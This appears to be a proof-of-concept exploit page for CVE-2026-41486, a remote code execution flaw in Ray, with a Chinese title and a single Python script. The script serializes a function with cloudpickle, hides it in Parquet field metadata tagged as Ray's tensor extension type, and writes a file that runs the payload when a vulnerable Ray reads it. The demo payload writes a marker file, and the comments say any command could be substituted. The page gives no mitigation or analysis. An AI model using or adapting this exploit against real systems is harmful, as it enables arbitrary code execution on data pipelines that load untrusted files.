CVE-2026-41486 Ray 远程代码执行漏洞

import pyarrow as pa import pyarrow.parquet as pq import cloudpickle import os # Define a malicious payload to be executed # For demonstration, this creates a file, but could be any command def malicious_function(): print("[!] RCE Triggered via Cloudpickle") with open("/tmp/pwned.txt", "w") as f: f.write("CVE-2026-41486 Exploited") # Serialize the payload using cloudpickle serialized_payload = cloudpickle.dumps(malicious_function) # Construct Parquet metadata pointing to Ray's extension type # Ray registers 'ray.data.arrow_tensor' globally. # We set the metadata key 'ARROW:extension:metadata' to our payload. metadata = { b"ARROW:extension:name": b"ray.data.arrow_tensor", b"ARROW:extension:metadata": serialized_payload } # Create a field with the malicious metadata field = pa.field("exploit_field", pa.binary(), metadata=metadata) schema = pa.schema([field]) # Create a dummy table with minimal data table = pa.table({"exploit_field": [b"dummy_data"]}) # Write the malicious Parquet file pq.write_table(table, "cve_2026_41486_exploit.parquet", schema=schema) print("Malicious Parquet file generated: cve_2026_41486_exploit.parquet") print("When a vulnerable Ray version reads this file, the payload will execute.")